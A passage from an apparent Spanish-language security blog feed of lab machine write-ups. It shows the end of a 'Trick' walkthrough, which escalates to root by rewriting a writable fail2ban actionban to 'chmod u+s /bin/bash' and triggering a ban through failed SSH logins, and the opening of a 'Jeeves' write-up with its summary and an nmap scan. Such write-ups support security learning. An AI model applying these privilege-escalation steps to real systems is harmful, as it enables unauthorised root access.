&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; env_reset, mail_badpass, secure_path=/usr/local/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/local/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User michael may run the following commands on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (root) NOPASSWD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Puedo reiniciar el servicio &lt;strong&gt;Fail2Ban&lt;/strong&gt; como root sin contraseña.&lt;/p&gt;
&lt;h3 id="abuso-de-configuración-de-fail2ban"&gt;Abuso de configuración de Fail2Ban&lt;/h3&gt;
&lt;p&gt;Usamos esta guia que explica que es este ejecutable.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server"&gt;https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“&lt;code&gt;Fail2ban&lt;/code&gt; scans log files (e.g. &lt;strong&gt;/var/log/apache/error_log&lt;/strong&gt;) and &lt;strong&gt;bans IPs&lt;/strong&gt; that show the malicious signs (too many password failures, seeking for exploits, etc.)”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Observo que el grupo &lt;code&gt;security&lt;/code&gt; (al que pertenezco: &lt;code&gt;groups=1001(michael),1002(security)&lt;/code&gt;) tiene permisos de escritura sobre los archivos de configuración en &lt;code&gt;action.d&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b3-8c68-cb16d4674f5f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Existe un objeto principal el cual contiene la configuración global de los baneos, reside en &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;El archivo &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; define que tras &lt;strong&gt;5 intentos fallidos&lt;/strong&gt;, la IP será baneada ejecutando una acción. La acción por defecto suele implicar &lt;code&gt;iptables-multiport&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-809e-970f-cf374ddde061.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Exploaramos ese archivo &lt;code&gt;iptables-multiport.conf&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/etc/fail2ban/action.d$ cat iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fail2Ban configuration file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Author: Cyril Jaquier&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Modified by Yaroslav Halchenko for multiport banning&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INCLUDES&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;before = iptables-common.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Definition&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the start of Fail2Ban.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstart = &amp;lt;iptables&amp;gt; -N f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -A f2b-&amp;lt;name&amp;gt; -j &amp;lt;returntype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -I &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the end of Fail2Ban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstop = &amp;lt;iptables&amp;gt; -D &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;actionflush&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -X f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actioncheck&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once before each actionban command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actioncheck = &amp;lt;iptables&amp;gt; -n -L &amp;lt;chain&amp;gt; | grep -q &lt;span style="color:#e6db74"&gt;&amp;#39;f2b-&amp;lt;name&amp;gt;[ \t]&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when banning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = &amp;lt;iptables&amp;gt; -I f2b-&amp;lt;name&amp;gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionunban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when unbanning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionunban = &amp;lt;iptables&amp;gt; -D f2b-&amp;lt;name&amp;gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Init&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Edito el archivo &lt;code&gt;/etc/fail2ban/action.d/iptables-multiport.conf&lt;/code&gt;. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (&lt;code&gt;actionban&lt;/code&gt;) por uno que me otorgue permisos de root.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv iptables-multiport.conf .old
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp .old iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto podemos modificar el archivo. ya que estamos dentro del grupo &lt;code&gt;security&lt;/code&gt; que nos permite mover archivos y reescribirlos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = chmod u+s /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ejecución"&gt;Ejecución&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Reinicio Fail2Ban para aplicar la configuración maliciosa:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Podemos ver en el archivo&lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; cuantos intentos tenemos antes del baneo, son 5.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80ba-bdb2-f3d41474a693.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta &lt;strong&gt;5 veces&lt;/strong&gt; para disparar la regla de baneo.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh msassam@trick.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# (Fallo la contraseña 5 veces intencionalmente)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Una vez activado el &amp;ldquo;ban&amp;rdquo;, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-803f-8412-dfb4b0a0cb3e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos shell como root!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80f2-8555-f8137301f84c.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Jeeves (Medium)</title><link>https://synacklabs.github.io/posts/jeeves/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/jeeves/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c3-82e1-ee4161eee2b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Comenzamos con un escaneo de puertos para identificar servicios expuestos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft IIS httpd &lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/&lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OPTIONS TRACE GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Ask Jeeves
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; - &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; microsoft-ds (workgroup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; WORKGROUP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Jetty &lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Jetty(&lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Error &lt;span style="color:#ae81ff"&gt;404&lt;/span&gt; Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; JEEVES; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m03s, deviation&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 0s, median&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m02s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;33742&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23387&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;64279&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23548&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; disabled (dangerous, but &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos dos puertos web principales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 80 (IIS):&lt;/strong&gt; Muestra una página de búsqueda &amp;ldquo;Ask Jeeves&amp;rdquo; que da error al intentar buscar.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8045-baae-ebf91399148f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c7-844b-e8a97c7226e5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 50000 (Jetty):&lt;/strong&gt; Muestra un error 404 por defecto.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808a-b7d1-dbc791ca789d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Este error indica que hay un servidor web ejecutándose en tu puerto &lt;strong&gt;50000&lt;/strong&gt;, pero no hay ninguna página o contenido configurado en la raíz (&lt;code&gt;/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Realizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.&lt;/p&gt;
